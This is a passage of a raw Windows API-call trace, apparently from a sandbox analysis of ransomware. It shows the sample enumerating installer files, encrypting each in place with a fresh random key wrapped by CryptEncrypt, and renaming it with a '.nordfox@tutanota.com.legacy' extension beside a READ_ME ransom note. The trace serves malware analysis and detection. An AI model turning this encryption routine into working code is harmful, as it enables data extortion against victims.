returned 0x0 [0101.787] WriteFile (in: hFile=0x4b8, lpBuffer=0x5a4118*, nNumberOfBytesToWrite=0x318f, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5a4118*, lpNumberOfBytesWritten=0x2e1f9bc*=0x318f, lpOverlapped=0x0) returned 1 [0101.788] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0f80 | out: hHeap=0x520000) returned 1 [0101.788] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a4118 | out: hHeap=0x520000) returned 1 [0101.788] SetFilePointer (in: hFile=0x4b8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x318f [0101.788] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0101.788] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x583f38*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x583f38*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0101.788] WriteFile (in: hFile=0x4b8, lpBuffer=0x583f38*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x583f38*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0101.788] WriteFile (in: hFile=0x4b8, lpBuffer=0x54d0d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0101.788] CloseHandle (hObject=0x4b8) returned 1 [0101.789] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x583f38 | out: hHeap=0x520000) returned 1 [0101.789] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0d0 | out: hHeap=0x520000) returned 1 [0101.789] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf"), lpNewFileName="\\588bce7c90097ed212\\1042\\eula.rtf.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0101.883] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56c808 | out: hHeap=0x520000) returned 1 [0101.883] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d1e8 | out: hHeap=0x520000) returned 1 [0101.883] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d4a8 | out: hHeap=0x520000) returned 1 [0101.883] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0101.883] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0101.884] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5781d0 | out: hHeap=0x520000) returned 1 [0101.884] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d4d8 | out: hHeap=0x520000) returned 1 [0101.884] FindFirstFileW (in: lpFileName="\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xb8d1c5dd, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5a0ca8 [0101.884] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0101.884] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784a0 [0101.884] GetLastError () returned 0x0 [0101.884] SetLastError (dwErrCode=0x0) [0101.884] GetLastError () returned 0x0 [0101.884] SetLastError (dwErrCode=0x0) [0101.884] GetLastError () returned 0x0 [0101.884] SetLastError (dwErrCode=0x0) [0101.884] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566d60 [0101.884] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d500 [0101.884] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d500 | out: hHeap=0x520000) returned 1 [0101.884] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d4b0 [0101.885] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a09a8 [0101.885] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a09a8 | out: hHeap=0x520000) returned 1 [0101.885] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20318 [0101.885] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20318 | out: hHeap=0x520000) returned 1 [0101.885] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d4b0 | out: hHeap=0x520000) returned 1 [0101.885] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566d60 | out: hHeap=0x520000) returned 1 [0101.885] FindNextFileW (in: hFindFile=0x5a0ca8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xb8d1c5dd, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0101.885] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784a0 | out: hHeap=0x520000) returned 1 [0101.885] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784a0 [0101.885] GetLastError () returned 0x0 [0101.885] SetLastError (dwErrCode=0x0) [0101.885] GetLastError () returned 0x0 [0101.885] SetLastError (dwErrCode=0x0) [0101.885] GetLastError () returned 0x0 [0101.885] SetLastError (dwErrCode=0x0) [0101.885] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566cf0 [0101.886] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d088 [0101.886] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d088 | out: hHeap=0x520000) returned 1 [0101.886] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0101.886] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a0b68 [0101.886] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0b68 | out: hHeap=0x520000) returned 1 [0101.886] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e201e0 [0101.886] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e201e0 | out: hHeap=0x520000) returned 1 [0101.886] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0101.886] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566cf0 | out: hHeap=0x520000) returned 1 [0101.886] FindNextFileW (in: hFindFile=0x5a0ca8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xdda, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0101.886] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784a0 | out: hHeap=0x520000) returned 1 [0101.886] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784a0 [0101.886] GetLastError () returned 0x0 [0101.886] SetLastError (dwErrCode=0x0) [0101.886] GetLastError () returned 0x0 [0101.886] SetLastError (dwErrCode=0x0) [0101.886] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0101.886] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784a0 | out: hHeap=0x520000) returned 1 [0101.886] GetLastError () returned 0x0 [0101.887] SetLastError (dwErrCode=0x0) [0101.887] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d5c8 [0101.887] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d5c8 | out: hHeap=0x520000) returned 1 [0101.887] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d088 [0101.887] FindNextFileW (in: hFindFile=0x5a0ca8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13712, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0101.887] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0101.887] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0101.887] GetLastError () returned 0x0 [0101.887] SetLastError (dwErrCode=0x0) [0101.887] GetLastError () returned 0x0 [0101.887] SetLastError (dwErrCode=0x0) [0101.887] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0101.887] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0101.887] GetLastError () returned 0x0 [0101.887] SetLastError (dwErrCode=0x0) [0101.887] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566c48 [0101.887] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566c48 | out: hHeap=0x520000) returned 1 [0101.887] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5567e0 [0101.887] FindNextFileW (in: hFindFile=0x5a0ca8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8cf174b, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xb8cf174b, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xb8d20054, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0101.887] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0101.887] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0101.887] GetLastError () returned 0x0 [0101.887] SetLastError (dwErrCode=0x0) [0101.887] GetLastError () returned 0x0 [0101.887] SetLastError (dwErrCode=0x0) [0101.887] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0101.888] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0101.888] GetLastError () returned 0x0 [0101.888] SetLastError (dwErrCode=0x0) [0101.888] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d4b0 [0101.888] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d4b0 | out: hHeap=0x520000) returned 1 [0101.888] FindNextFileW (in: hFindFile=0x5a0ca8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0101.888] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0101.888] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5781d0 [0101.888] GetLastError () returned 0x0 [0101.888] SetLastError (dwErrCode=0x0) [0101.888] GetLastError () returned 0x0 [0101.888] SetLastError (dwErrCode=0x0) [0101.888] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0101.888] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5781d0 | out: hHeap=0x520000) returned 1 [0101.888] GetLastError () returned 0x0 [0101.888] SetLastError (dwErrCode=0x0) [0101.888] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567188 [0101.888] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567188 | out: hHeap=0x520000) returned 1 [0101.888] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556c58 [0101.888] FindNextFileW (in: hFindFile=0x5a0ca8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0101.888] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556ab8 [0101.889] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584568 [0101.889] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0d0 [0101.889] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584568 | out: pbBuffer=0x584568) returned 1 [0101.889] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0d0 | out: pbBuffer=0x54d0d0) returned 1 [0101.889] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1043\\SetupResources.dll", dwFileAttributes=0x80) returned 1 [0101.889] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556980 [0101.889] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e20f20 [0101.889] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556980 | out: hHeap=0x520000) returned 1 [0101.889] CreateFileW (lpFileName="\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4bc [0101.889] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=19288) returned 1 [0101.889] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4b58) returned 0x5a0f80 [0101.890] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4b58) returned 0x5a5ae0 [0101.890] ReadFile (in: hFile=0x4bc, lpBuffer=0x5a0f80, nNumberOfBytesToRead=0x4b58, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5a0f80*, lpNumberOfBytesRead=0x2e1f9bc*=0x4b58, lpOverlapped=0x0) returned 1 [0101.917] SetFilePointer (in: hFile=0x4bc, lDistanceToMove=-19288, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0101.917] WriteFile (in: hFile=0x4bc, lpBuffer=0x5a5ae0*, nNumberOfBytesToWrite=0x4b58, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5a5ae0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4b58, lpOverlapped=0x0) returned 1 [0101.917] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0f80 | out: hHeap=0x520000) returned 1 [0101.917] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a5ae0 | out: hHeap=0x520000) returned 1 [0101.918] SetFilePointer (in: hFile=0x4bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4b58 [0101.918] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0101.918] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584568*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584568*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0101.920] WriteFile (in: hFile=0x4bc, lpBuffer=0x584568*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584568*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0101.920] WriteFile (in: hFile=0x4bc, lpBuffer=0x54d0d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0101.920] CloseHandle (hObject=0x4bc) returned 1 [0101.931] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584568 | out: hHeap=0x520000) returned 1 [0101.931] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0d0 | out: hHeap=0x520000) returned 1 [0101.931] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll"), lpNewFileName="\\588bce7c90097ed212\\1043\\SetupResources.dll.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0101.933] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0101.933] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556ab8 | out: hHeap=0x520000) returned 1 [0101.933] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556c58 | out: hHeap=0x520000) returned 1 [0101.933] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556918 [0101.933] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584b98 [0101.933] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d110 [0101.933] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584b98 | out: pbBuffer=0x584b98) returned 1 [0101.933] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d110 | out: pbBuffer=0x54d110) returned 1 [0101.933] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1043\\LocalizedData.xml", dwFileAttributes=0x80) returned 1 [0101.934] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556980 [0101.934] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e20f20 [0101.934] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556980 | out: hHeap=0x520000) returned 1 [0101.934] CreateFileW (lpFileName="\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4bc [0101.934] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=79634) returned 1 [0101.934] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x13712) returned 0x5a0f80 [0101.935] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x13712) returned 0x5b46a0 [0101.935] ReadFile (in: hFile=0x4bc, lpBuffer=0x5a0f80, nNumberOfBytesToRead=0x13712, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5a0f80*, lpNumberOfBytesRead=0x2e1f9bc*=0x13712, lpOverlapped=0x0) returned 1 [0101.961] SetFilePointer (in: hFile=0x4bc, lDistanceToMove=-79634, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0101.962] WriteFile (in: hFile=0x4bc, lpBuffer=0x5b46a0*, nNumberOfBytesToWrite=0x13712, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5b46a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x13712, lpOverlapped=0x0) returned 1 [0101.962] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0f80 | out: hHeap=0x520000) returned 1 [0101.963] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5b46a0 | out: hHeap=0x520000) returned 1 [0101.965] SetFilePointer (in: hFile=0x4bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x13712 [0101.965] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0101.965] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584b98*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584b98*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0101.967] WriteFile (in: hFile=0x4bc, lpBuffer=0x584b98*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584b98*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0101.967] WriteFile (in: hFile=0x4bc, lpBuffer=0x54d110*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d110*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0101.967] CloseHandle (hObject=0x4bc) returned 1 [0101.970] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584b98 | out: hHeap=0x520000) returned 1 [0101.970] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d110 | out: hHeap=0x520000) returned 1 [0101.970] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml"), lpNewFileName="\\588bce7c90097ed212\\1043\\LocalizedData.xml.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0101.972] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0101.972] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556918 | out: hHeap=0x520000) returned 1 [0101.972] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5567e0 | out: hHeap=0x520000) returned 1 [0101.973] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d030 [0101.973] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584a90 [0101.973] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d120 [0101.973] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584a90 | out: pbBuffer=0x584a90) returned 1 [0101.973] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d120 | out: pbBuffer=0x54d120) returned 1 [0101.973] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1043\\eula.rtf", dwFileAttributes=0x80) returned 1 [0101.974] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d500 [0101.974] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x56c808 [0101.974] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d500 | out: hHeap=0x520000) returned 1 [0101.974] CreateFileW (lpFileName="\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4bc [0101.974] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=3546) returned 1 [0101.974] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xdda) returned 0x5a0f80 [0101.974] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xdda) returned 0x5a1d68 [0101.975] ReadFile (in: hFile=0x4bc, lpBuffer=0x5a0f80, nNumberOfBytesToRead=0xdda, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5a0f80*, lpNumberOfBytesRead=0x2e1f9bc*=0xdda, lpOverlapped=0x0) returned 1 [0102.010] SetFilePointer (in: hFile=0x4bc, lDistanceToMove=-3546, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0102.010] WriteFile (in: hFile=0x4bc, lpBuffer=0x5a1d68*, nNumberOfBytesToWrite=0xdda, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5a1d68*, lpNumberOfBytesWritten=0x2e1f9bc*=0xdda, lpOverlapped=0x0) returned 1 [0102.011] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0f80 | out: hHeap=0x520000) returned 1 [0102.011] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a1d68 | out: hHeap=0x520000) returned 1 [0102.011] SetFilePointer (in: hFile=0x4bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xdda [0102.011] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0102.011] CryptEncrypt (in: hKey=0x5528a0, 